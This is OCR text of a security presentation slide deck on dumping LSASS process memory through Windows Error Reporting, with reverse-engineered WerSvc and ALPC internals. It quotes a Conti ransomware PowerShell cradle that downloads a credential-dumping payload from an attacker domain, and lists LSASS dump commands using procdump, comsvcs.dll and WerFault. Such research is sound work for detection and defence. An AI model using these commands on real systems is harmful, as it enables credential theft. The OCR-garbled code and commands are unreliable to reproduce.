Abusing Windows Error Reporting to Dump LSASS
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Credential and Data Theft

Conti actors steal credentials by dumping the memory of the Local Security Authority Subsystem
Service ([sass) process. Conti actors download PowerShell payload from an attacker-controlled
endpoint, such as httpx://datasecuritytodayl.Jcom::757/securiday, which dumps credentials from /sass:

powershell exe -nop -w hidden -¢ "1EX |(new-olsect net. webchen

(‘ cmd.exe 1) .g-:rvm loadstring(Tmps:/datasecuritytoday.com 757 /securid

ay)y

powershell.exe e
@u= /@

Q injected (powershe ..
o @

Clop e : Kaspersky Crimeware Reports:
(TA505) Common TTPs of modern ransomware

groups

Credential

Du m?ping:

LSASS \/ V \/ V
Memory

T1003.001




Read memory dump and parse
credentials (e.g. Mimikatz)

Use new credentials for lateral
movement
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. _ NTSTATUS MiniDumpWriteDump(
 QOften done by dumping LSASS to disk In_ HANDLE ProcessHandle,

In_ HANDLE hFile,
)







procdump.exe -ma Isass.exe Isass.dmp

« rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <Isass pid> Isass.dmp full

« Signed Native exe found on all Windows OS versions

» Dumping activity still stands out




V U VVAR V UoU A UUVV \ Ul [C V C U Al C C ACULULIU U J LU

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\Isass.exe
« Triggered by calling RtIReportSilentProcessExit

NTSTATUS RtIReportSilentProcessExit(
~In HANDLE ProcessHandle,
~In NTSTATUS ExitStatus,

https://www.deepinstinct.com/blog/Isass-memory-dumps-are-stealthier-than-ever-before-part-2



https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2

11 @ Benjamin Delpy Retweeted 4y Posted by u/Safficon 1 year ago AN
sy [rinetsec 133 New LSASS Dumping Method via | |
L_ @ r_netsec . .

- <> SilentProcessExit
@ Automated 0
deepinstinct.com/2021/0... £ &

New LSASS Dumping Method via SilentProcessExit

deepinstinct.com/2021/02/16/lsa...

6:43 PM - Feb 23, 2021 . C] 5 Comments /9 Share : Save @ Hide [::] Report

197 Retweets 2 Quote Tweets 395 Likes
Sort By: Best -

& S Y —

¢y Working on Windows 10 1909 Build 18363.1379, also SentinelOne 4.2.7.192

View discussions in 5 other communities

LSASS Memory Dumps are Stealthier than Ever Before Hthautriggering derections
Part 2 dE‘EIC'JiﬁStIHCT+CDm/2021/{02/16/|sa G 15 < 7 | J Reply Share Report Save Follow

9:28 AM - Feb 26, 2021 - Twitter for iPhone

111 Retwests 2 Quote Tweets 259 Likes
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MiniDumpWriteDump()

WeI'FaU It MiniDumpWriteDump()




5. Send Message

6. Receive Message

/. Validate Request
8. Perform Dump




"HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" key

DumpType Specify one of the following dump types: REG_DWORD
s (O Custom dump
s 1: Mini dump
s 2 Full dump

https://docs.microsoft.com/en-us/windows/wi collecting-user-mode-dumps



https://docs.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps

& C:\Windows\system32\cmd.exe

=

File Edit View Favorites Help

File Options View Pr

d@ =08 s

ocess Find Users Help

Al ad [, | \

[ < Eiltor hv namo~

Process
#svchost.exe
#Esvchost.exe
wsvchost.exe
Esvchost.exe
#svchost.exe
Esvchost.exe

“l|sass.exe
#fontdrvhost.exe
[Ecsrss.exe
=EIwinlogon.exe
“fontdrvhost.exe
Edwm.exe
=~ explorer.exe
D SecurityHealt...
Wvmtoolsd.exe
“mcmd.exe
mconhost.exe
# regedit.exe

Command Line

C:\Windows\System32\svchost.exe -k swprv

C:\Windows\system32\Isass.exe
"fontdrvhost.exe"

winlogon.exe
"fontdrvhost.exe"
"dwm.exe"
C:\Windows\Explorer.EXE

"C:\Windows\system32\cmd.exe"
\??\C:\Windows\system32\conhost.exe 0x4
"C:\Windows\regedit.exe"

<

C:\Windows\system32\svchost.exe -k netsvcs -...

C:\Windows\system32\svchost.exe -k netsvcs -...
C:\Windows\system32\svchost.exe -k appmod...
C:\Windows\System32\svchost.exe -k WerSvc...
C:\Windows\system32\svchost.exe -k LocalSer...

%SystemRoot%\system32\csrss.exe ObjectDir...

"C:\Windows\System32\SecurityHealthSystray....
"C:\Program Files\VMware\VMware Tools\vmto...

PID (*
1804 M
5616 p

564
4084 M
1900 M
22321

676 M

824 F

516 M

588 M

820F

456V
4424 F
2560F
5808 F
5260 F
7032F
1824 F

<

CPU Usage: 0.00%  Commit Charge: 32.07% Processes: 133 Physical Usage: 38.84%

h Home Share Vi

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps

« () « Loca

/indows Error Reportir

Assert Filtering Policy
BrokerUp

Consent

Hangs

KernelFaults
LocalDumps
RuntimeExceptionHel

- -~

< >

Name Type
»|(Default) REG_SZ
#DumpType REG_DW...

Data
(value not set)
0x00000002 (2)

v

# 3D Object:”
B Desktop

= Document
¥ Download
) Music

= Pictures

B Videos

= Local Disk

= Network

0items

ew

| » CrashDumps

This folder is empty

Search CrashDumps



ntdll! C specific_handler()

ntdll!NtAlpcSendWaitReceivePort()

QO ntdll!_ C_specific_handler
\)

QO kernelbase!UnhandledExceptionFilter

J

()kerne132!BasepReportFault

QO ntdl1!NtAlpcSendWaitReceivePort
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Create a message with Send the message with Manually Report an
WerpReportFaultinternal SendMessageToWERService Exception to WER




WerpReportFaultInternal()

hCompletionEvent = CreateEventW(&EventAttributes, 1, 0, 0);
if ( hCompletionEvent )
{
MappedViewStruct[@] = (int)hCompletionEvent;
vl = 1;
v52 = (void *)1;
}
hRecoveryEvent = CreateEventW(&EventAttributes, 1, 0, 0);
if ( hRecoveryEvent )
{
MappedViewStruct[vl++] = (int)hRecoveryEvent;
v52 = (void *)vi;
}

MappedViewStruct[vl] = (int)hFileMapping;

v8 = vl + 1;

v52 = (void *)v8;

v53 = MapViewOfFile(hFileMapping, 6u, @0, @, 0);
CurrentProcess = GetCurrentProcess();

{
MappedViewStruct[v8++] = (int)TargeProcesstHandle;

v52 = (void *)v8;
}

if (v4l )

{
MappedViewStruct[v8] = (int)TargeThreadtHandle;
v52 = (void *)(v8 + 1);

}

CurrentProcessId = GetCurrentProcessId();

hFileMapping = CreateFileMappingW((HANDLE)OXFFFFFFFF, &EventAttributes, 4u, @, OxF8u, 0);

if ( DuplicateHandle(CurrentProcess, CurrentProcess, CurrentProcess, &TargeProcesstHandle, Ox1FFFFFu, 1, @) )

v41l = DuplicateHandle(CurrentProcess, CurrentThreadHandle, CurrentProcess, &TargeThreadtHandle, Ox1FFFFFu, 1, 0);

v17 = RtlWerpReportException(CurrentProcessId, v29, MappedViewStruct, v32, @, &v51);



1| ZwAlpcConnectPort(&PortHandle,
“\MyAlpcPortName”,

NtAlpcSendWaitReceivePort(PortHandle;

=7
hhq!,SendlngMessage,

.
ReceivingMessage, ..




SendMessageToWERService()

ntstatus = SignalStartWerSvc(); // Call NtUpdateWnfStateData with WNF_WER_SERVICE_START
if ( ntstatus >= 0 )
{
ntstatus = NtQuerySystemInformation(NtQuerySystemInformation, &Systeminformation, 8u, 0);
if ( ntstatus >= 0 )
{
ntstatus = WaitForWerSvc(Systeminformation); // Wait for the event "\\KernelObjects\\SystemErrorPortReady"
if ( ntstatus >= @ && ntstatus != STATUS_TIMEOUT)

{

RtlInitUnicodeString(&DestinationString, L"\\WindowsErrorReportingServicePort");
ntstatus = ZwAlpcConnectPort(&Handle, &DestinationString, objectAttributes, portAttributes, ©Ox20000, v29, 0, 0,
if ( ntstatus >= @ && ntstatus !'= STATUS_TIMEOUT)

{
NtAlpcSendWaitReceivePort((int)Handle, @x20000, v24, @, v25 , (int)v2e , @, (int)v27);

return ntstatus;



Command Prompt

C:\Users\user\Desktop>_

)

File O cess rind uUsers Help

ptions View

Frocess I
d & = j3 S Y e < Eiltor hv namo~ |

Process Command Line PID| ¢
=isvchost.exe |C:\Windows\system32\svchost.exe -k Unistack... 5160 F
isvchost.exe |C:\Windows\system32\svchost.exe -k LocalSys... 4156 ©
wisvchost.exe |C:\Windows\system32\svchost.exe -k LocalSer... 3808 M
isvchost.exe |C:\Windows\system32\svchost.exe -k netsves -... 5312 »
=isvchost.exe |C:\Windows\System32\svchost.exe -k LocalSy... 836 M
tisvchost.exe |C:\Windows\System32\svchost.exe -k netsvcs -p 6680 M
wisvchost.exe |C:\Windows\System32\svchost.exe -k WerSvec... 808 M

T|sass.exe C:\Windows\system32\Isass.exe 684 M
=fontdrvhost.exe |"fontdrvhost.exe" 800 F
©icsrss.exe %SystemRoot%\system32\csrss.exe ObjectDir... 532 M
=lwinlogon.exe winlogon.exe 620 M
©fontdrvhost.exe |"fontdrvhost.exe" 792F
=dwm.exe "dwm.exe" 536V

'~ explorer.exe C:\Windows\Explorer.EXE 5292F

@ SecurityHealt... |"C:\Windows\System32\SecurityHealthSystray.... 7148 F
@vmtoolsd.exe |"C:\Program Files\VMware\VMware Tools\vmto... 2264 F
“ecmd.exe "C:\Windows\system32\cmd.exe" 4224 F
mconhost.exe [\??\C:\Windows\system32\conhost.exe 0x4 2912F

CPU Usage: 1.47%

“ Home Share View

« 1 « Local » CrashDumps ' Search CrashDumps

Commit Charge: 28.67% Processes: 124

¥ 3D Object:”
B Desktop

= Document
¥ Download
d Music

=| Pictures
B videos

& Local Disk

= Network

0 items =
10:16 AM
A 1)

7/12/2022 % )



WerFault.exe -pss -s <file mapping handle> -p <target process> -ip <source process>

CreateProcessAsUseri()
WerFault.exe -u -p <target process> -s <file mapping handle>

MiniDumpWriteDump ()

—| BN cmd exe :
B conhost exe VIPCAWindows system 32wconhost exe (xd 3524 <0.01
- [uZ] ExceptionReporter exe ExceptionReparter exe




Administrator: Command Prompt & u} X |y
“[File Options View Process Find ers
:\Users\user\Desktop>_ CIEIEISE=E - R 3. X LEillprhinanis]
Process Command Line PID (*
wisvchost.exe |C:\Windows\system32\svchost.exe -k netsves -... 25521
risvchost.exe |C:\Windows\system32\svchost.exe -k wsappx -... 5568 b
©isvchost.exe |C:\Windows\system32\svchost.exe -k netsvcs -... 4828 ©
©isvchost.exe |C:\Windows\System32\svchost.exe -k netsvcs -p 3296
©isvchost.exe |C:\Windows\system32\svchost.exe -k netsvcs -... 2064 ©
zisvchost.exe |C:\Windows\System32\svchost.exe -k wsappx ... 6084 ©
isvchost.exe |C:\Windows\System32\svchost.exe -k WerSvc... 6721
rllsass.exe C:\Windows\system32\Isass.exe 676 M
=fontdrvhost.exe ["fontdrvhost.exe" 824 F
Ticsrss.exe %SystemRoot%\system32\csrss.exe ObjectDir... 516 M
=Elwinlogon.exe winlogon.exe 588 M
=fontdrvhost.exe ["fontdrvhost.exe" 820F
“dwm.exe "dwm.exe" 456V
=~ explorer.exe C:\Windows\Explorer.EXE 4424 F
D SecurityHealt... |"C:\Windows\System32\SecurityHealthSystray.... 2560F
@vmtoolsd.exe |"C:\Program Files\VMware\VMware Tools\vmto... 5808 F
mcmd.exe "C:\Windows\system32\cmd.exe" 6992 F
mconhost.exe |\??\C:\Windows\system32\conhost.exe 0x4 7064 F
<

CPU Usage: 0.00%

Commit Charge: 29.64% Processes: 127 Physical Usage: 39.32%

Share

« Local

# 3D Object:”
B Desktop

< Document
¥ Download
J Music

= Pictures
B Videos

=~ Local Disk

= Network

View

CrashDumps Search CrashDumps

252PM

AR o B
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WER Service Overview Find Error Code Origin Pass Validation Checks




Computer\HKEY_LOCAL MACHIME\SYSTEM\ CurrentControlSet\Services\WerSvc\Pararmeters

v WerSwve A Type Data

REG_SZ (walue not set)
I REG_EXPAMD_5Z TeSystemnRoot 3\ System 32 WerSve, dll
fis| ServiceDllUnloadOnStop  REG_DWORD 0000000 (1)

Parameters

Triggerinfo
WFDSConMgrive
WFPLWFS




WerSvc ALPC Port Initialization

. Initialize Service

RtlInitUnicodeString(&Destinationstring, L"\\WindowsErrorReportingServicePort™);
if { !ConvertStringSecurityDescriptorToSecurityDescriptorid(

L"D:P(D;0ICI;GA;; ;NUY(A;0ICI;GR;; ;AU (A;0ICI;GR; ; ;BG) (A;0ICI;GA;;;5-1-5-88-32
"3583751067-173244438@) (A;0TCT;GR; ; ;WD) (A;OTCT;GR; 3 35-1-15-2-1) (A;0ICT;GR; 53
"B767-3724611135-2725662648-12138253-543918227-1958414635-41982908187)",

1lu,

&hMem,

aigd) )

goto LABEL _23;

ObjectAttribut
ObjectAttribut
ObjectAttribut

.Length = 43;
RooctDirectory = 8i6d;
ObjectName = &DestinationString;

ObjectAattributes . Attributes = @;
ObjectAttributes.SecurityDescriptor = hMem;
Objectattributes.SecurityQualityOfService = Bib4;
memset_B8(v 8, Bxd43uisd);

[8] = ex2eBEa;

=1 1643

= BiBd;

BOGBBiG4;

vlE = NtAlpcCreatePort((char *)lpCriticalSecticn + 368, BObjectAttributes, w23);
if ( vlg »=8 )
r

1
if { *{(_QWORD *)lpCriticalsection + 47) )
MicrosoftTelemetryfssertTriggeredioArgs (v1s);

w17 = CreateThread(
Big4,
Bic4,
(LPTHREAD START ROUTINE)CWerService::StaticlpcServerThread,
lpCriticalSection,
a,
&ThreadId);




Ceccurrences of: 80070005

o

Address

Function

Jext:0000FFFENGCETI93
Jext:0000FFFENGCE T 5F
JSext:00007FFENSCEAS53
JSext:0000FFFENGCEADOE
Sext: 0000 FFFENGCEFSCD
Jext:0000FFFENGCS4BAD
JSext:00007FFENSCS 5506
Jext:0000FFFENGCAZODE
JSext:00007FFFENSCASSDT

ChedkIfSystemConnectingToPor t@CWerService @@AEAAIPEAL_WERSVC_MSG@@@Z
CheckIfvalidPortMessage @CWerService @@AEAAIPEAL_WERSVC_MSG@@ @I
?SycReportHang@CWerService @@AEAAIPEAU_WERSVC_MSG@E@O@Z
PSvcReportCrash@CWerService @@AEAAIPEAL_WERSVC_MSG@@OIE@ZE
MonElevatedProcessStart@ @y AJPEAXOPEAPEAX @F

?_CheckIfOKToRepor t@CHangrepServer @ @AEAA JPEAXOKKPEAPEAX 1 @7
Cancel@CHangrepServer @@QEAAJPEAXK @Z

UtilverifyFilePath @ @Y AJPEBGPEAX @2

GetProcessAppld @CallerIdentity @ @Y AIPEAXPEAPEAG @F

Instruction
» CWerService:: CheckIfSystemConnectingToPort_WERSVC_MSG *)+2461]
mov  eax, 800700050
» CWerService:SvcReportHang(_WERSVC_MSG =, _WERSVC_MSG *)+B61]
mov  dword pir [rbx+2Ch], 80070005h

mov  edi, 800700050
eax, 80070005h
ebx, 800700050
eax, 30070005h

edi, 80070005h




CheckIfSystemConnectingToPort()

IDA View-RIP 0 & x |
| wersve.dll:eeea7FFFEALE7348 call cs:__imp GetlLastError A
I wersve.dll:eaea7FFFEa13734F nop dword ptr [rax+rax+eeh]

| wersve.dll:eaea7FFFEa187354 mov rex, cs:WPP_GLOBAL_Control

I wersve.dll:e8ea7FFFEA187358 lea ré, WPP_ad7d448bc7a4354a2941d62493d3d7af_Trac

: wersvc.dll: eeee7FFFE0ALE7362 mov rad, eax

I wersvc.dll: eeee7FFFEALE7365 mov edx, 28h ; ' '

| wersve.dll:@aea7FFFEA1E736A mov rcx, [rox+leh]

I wersve.dll:eeea7FFFEAL1E736E call WPP_SF_d

| wersve.dll:eeea7FFFEAL187373

I wersve.dll:@aea7FFFe@187373 loc_7FFFE@L37373: 3 CODE XREF:

! wersve.dll:eeea7FFFER187373 3 CWerservice

wersve.dll:@aea7FFFEA1E87378 jmp short loc_7FFFE@18733C

Module Function

i 00007FFFE0187373 wersve.dl private: long CWerService::Chedd fSystemConnectingToPort(struct _WERSVC_MSG *)+0x273

i 00007FFF&0186F50 wersve.dll private: long CWerService::Chedd fCrashlsvalid(struct _WERSVC_MSG *)+0x2C0

i 00007FFF&018ACDE wersve.dl private: long CWerService::SvcReportCrash(struct _WERSVC_MSG *,struct _WERSVC_MSG *)+0x54

i 00007FFF&018A26C wersve.dl private: long CWerService::DispatchPortReguestWorkItem(struct _TP_CALLBACK_INSTANCE *struct _WERSWC_MSG *)+0x 164
i 00007FFF&018A069 wersve.dl private: static void CWerService::StaticDispatchPortRequestWorkItem(struct _TP_CALLBACK_INSTAMNCE *,void *)+0x29

i 00007FFFEDS80BFS  ntdll.dll ntdl_RtDeactivateActivationContext+2C2



CheckIfSystemConnectingToPort()
ImpersonatelLoggedOnUser()

OpenEvent()

Worker | NTAUTHORITY\SYSTEM | [mpersonate | bomain\User
—| OpenEventW
Thread LoggedOnUser

“WerSvc\\WerSvcSystemPermissionsEvent”



I xrefstuName O >
Direction Type Address Text
@ Up o CWWerservice::CheckI fSystemConnectingToPort{_WERSWVC_MSG *)+217 lea r3, Mame; "Wersvc\\WerSvcSystemPermissionsEvent”™
@Up o CWerService:: _StartLpcServer (void):loc_7FFE0SCE3CSE lea r9, Name; "WerSvc\\WerSvcSystemPermissionsEvent”

Line 2 of 2

if ( !ConvertStringSecurityDescriptorToSecurityDescriptorid(
L"D: (A;0ICI;GR;;;5Y)", // Allow "NT AUTHORITY\SYSTEM" GENERIC_READ
1u,
&SecurityDescriptor. lpSecurityDescriptor,
gigd) )
1
LABEL 23:
LastError = GetLastError();
v6 = (unsigned _ intlg)LastError | @xB80870000;
if { LastError <=8 )
= LastError;
wE »= 8 )
viE o= -2147467259;
goto LABEL _51;

}
SecurityDescriptor.nLength = 24; :,

SecurityDescripteor.bInheritHandle = 8; °

w12 = CreateEventW(&SecurityDescriptor, @, @, L"WerSvc\\WerSwvcSystemPermissionsEvent™});




Address Length Type String

‘s'| .rdata:00007FF... 0000000E C {16 bits) - UTF-16LE WErsvC

‘s’ .rdata:00007FF... 0000000E C (16 bits) - UTF-16LE WerSve

‘=" .rdata:00007FF... 00000043 C (16 bits) - UTF-16LE WerSvcl\WerSveSystemPermissionsEvent

‘s’ .rdata:00007FF... 00000030 C (16 bits) - UTF-16LE MersvcMameSpaceBoundary

‘s'| .rdata:00007FF... 00000023 C (16 bits) - UTF-16LE WerSvckernelMsgDone

‘s’| .rdata:00007FF... 0000000B C wersve.dl

‘s’ rdata:00007FF... 00000056 C (16 bits) - UTF-16LE WerSvch\WerSvcMonElevationInfoSectionMame 3ed

‘s’| .rdata:00007FF... 0000003E C onecorelwindows\feedbadk\\core\wersvc\\ibYreflectionserver.cpp

AliasPrefix: ; DATA XREF: CWerservi

text "UTF-16LE", 'WerSvc',®
align 3

@ wrefs to AliasPrefix

Directic Type Address

@ p o CWWerService::QueryServiceStartType(ulong *)+6D rdx, AliasPrefix; “WerSvc”
@ p o CWerService::_CreatePrivateMNamespace (void):loc_7FFED... rdx, AliasPrefix; “Werswc”
@ Up o CWerService::_CreatePrivateMamespace (void)+27C ra, AliasPrefi; "WerSvc™
@ Up o CWerService::_CreatePrivateMNamespace (void)+2C1 rdx, AliasPrefix; “Wersvc”




CreateMutex(*ServiceMutex’) CreateMutex(“ServiceMutex”)

" = b Yes

0 O
- b




CreateMutex(“SveNS\ServiceMutex”) CreateMutex(“SveNS\ServiceMutex”)




CreateBoundaryDescriptor()
AddSIDToBoundaryDescriptor()
CreatePrivateNamespace()

B e




WerSve Initialization N O

b
« The following actions are performed upon service initialization: . \/<

 Creates a boundary descriptor with the SID of the service

« (Creates the private namepace with the boundary descriptor

« Events can be created under this namespace only with the WerSvc SID
« Event IS created

. exists under the namespace

« Canonly be accessed by SYSTEM due to the security descriptor

HANDLE hBoundaryDescriptor = RtlCreateBoundaryDescriptor(L"WerSvcNameSpaceBoundary", 0);
RtlCreateServiceSid("WerSvc", SidBuffer, BufferSize);
Rt1AddSIDToBoundaryDescriptor(SidBuffer, hBoundaryDescriptor);
CreatePrivateNamespaceW(hBoundaryDescriptor, L"WerSvc");

// Allow GENERIC_READ to “NT AUTHORITY\SYSTEM”

ConvertStringSecurityDescriptorToSecurityDescriptorW("D:(A;0ICI;GR;;;SY)", &SecurityDescriptor);
CreateEventW(&SecurityDescriptor, L"WerSvc\\WerSvcSystemPermissionsEvent");




CWerService: :CheckIfCrashIsValid()

IS package name the same?




CheckIfSystemConnectingToPort()

NT AUTHORITY\ASYSTEM Domain\User

LoggedOnUser

OpenEventW

OpenEventW

NT AUTHORITY\ASYSTEM




8. Wait for service to start Il

9. Send message

10. Receive message
11. Compare sender PID to target PID

12. Open event after impersonation
13. Validate request

14. Perform Dump




Administrator: CAWindows\SYSTEM32\cmd.exe
C:\Users\user\Desktop> 1= IR RER=EK:: 1),
Process
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
il|sass.exe

5 & z
R i <« Eiltor hvy namo~

Command Line
\C:\Windows\system32\svchost.exe -k wsappx -...
C:\Windows\system32\svchost.exe -k netsvcs -...
C:\Windows\System32\svchost.exe -k netsvcs -p
C:\Windows\system32\svchost.exe -k netsvcs -...
C:\Windows\System32\svchost.exe -k wsappx ...
C:\Windows\System32\svchost.exe -k WerSvc...
C:\Windows\system32\svchost.exe -k netsvcs -...
C:\Windows\system32\Isass.exe

“fontdrvhost.exe |"fontdrvhost.exe"

©icsSrss.exe
==Iwinlogon.exe

%SystemRoot%\system32\csrss.exe ObjectDir...
winlogon.exe

Ifontdrvhost.exe |"fontdrvhost.exe"

“/dwm.exe
=~ explorer.exe
D SecurityHealt...
wWvmtoolsd.exe
“@cmd.exe
@ conhost.exe

"dwm.exe"

C:\Windows\Explorer.EXE
"C:\Windows\System32\SecurityHealthSystray....
"C:\Program Files\VMware\VMware Tools\vmto...
cmd.exe

\??\C:\Windows\system32\conhost.exe 0x4

<

CPU Usage: 1.52% Commit Charge: 29.71% Processes: 127 Physical Usage: 39.12%

Share

View

« Local » CrashDumps

# 3D Object”
I Desktop

= Document
¥ Download
d Music

=/ Pictures
Videos

= Local Disk

= Network

0 items

%

PID ”
5568
4828 h
3296 ©
2064 p
6084 p

672D

1300 p

676 p

824 F

516 M

588 ©

820F

456V
4424 F
2560F
5808 F
7024 N
5080 M

253 PM

ABRY o B
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Eventlog  Dump file WER WerFault
Report  command-line
Archive




4] Event Properties - Event 1000, Application Error >

General  Details

Faulting application name: lsass.exe, version: 10.0.19041.1586, time stamp: (17294304
Faulting module name: unknown, version: 0.0.0.0, time starmp: Ox00000000
Exception code: (0000001

Fault offset: Ox0000000000000000

Faulting process id: (x2ad

Faulting application start tirne: (e01d89031263193d

Faulting application path: C\Windows\system32\lsass.exe

Faulting module path: unknown

Report |d: d8dcel17-dela-4bd7-a704-1ccd78dch192

Faulting package full name:

Faulting package-relative application D

Log MName: Application
Source: Application Error Logged: 7/5/2022 8:46:53 AM
Event | 1000 Task Category: (100)

Level: Error Keywords: Classic
User: MSA Computer: ROMB-TEST-VM
OpCode: Info

More Information:  Event Log Online Help




This PC » Local Disk () » Windows » system32 @ config » systernprofile » AppData * Local » CrashDumps

Mame Date modified Type Size
7/53/2022 8:47 AM

|| Isass.exe680.dmp DRP File 50,955 KB




This PC » Local Disk (C:) » ProgramData » Microsoft » Windows » WER » Reportfrchive »

Mame Date modified Type Size

;f y AppCrash_lsass.exe_828c74d145e2ee56bb5df471 cdeeTf3d9ddbeT29 3df1cfTe_e71d613e-4324-4d61-aeba-4cf2913c0d7e 7902022 %41 AM File folder

[~ Report wer 3

Version=1
EventType=CriticalProcessFault?Z
EventTime=133014760208937570
ReportType=2

Consent=1
UploadTime=133014760292061972
ReportStatus=26843545¢6
ReportIdentifier=40801lca3-efb4-4£ffl
IntegratorReportIdentifier=c26285f0
Wowé64dHost=34404

NsAppName=lsass.exe
OriginalFilename=lsass.exe

|_'
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3
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WerFault.exe -u -p <target process> -ip <source process> -$ <file mapping handle>

wlassee  CWindowssystem3Usassexe [

‘w7 fontdrvhost.exe
W7 csrss.exe
'm ' winlogon exe
‘w7 fontdrvhost.exe
FmE dwm.exe
., explorer exe
Q:—;J SecurityHealthSystray exe
L vmtoolsd exe
i cmd.exe
B conhost.exe
—| [mF|LSASS_Shtinkering exe
L, WerFault exe

“fontdrvhost.exe” 816 |
% SystemRoot%\system32\csrss.exe ObjectDirectory="Windows SharedSection=1024,20480,768 Windo... 224
winlogon.exe 608
“fontdrvhost.exe” 808
"dwm.exe" 432
C:\Windows\Explorer. EXE 5288
"C\Windows\System32\SecurityHealthSystray exe” o684
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr 392
cmd.exe

\?C \Windows'\system32\conhost.exe Ox4
LSASS_Shtinkering.exe
C-\Windows\system32\WerF ault exe -u -p|680}p|4104}-s 248
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WerFault.exe -u -p <target process> -ip <source process> - <file mapping handle>




Windows Via C/C++ 5th Edition
https://docs.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps
https://flylib.com/books/en/2.294.1.98/1/
https://www.wikiwand.com/en/Squatting_attack

https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-
of-the-modern-ransomware_low-res.pdf

nitpsy7siicesyd.com/theme/tech-startup




I][m https://www.linkedin.com/in/asaf-gilboa/

https://www.linkedin.com/in/ron-ben-yizhak-039699156/




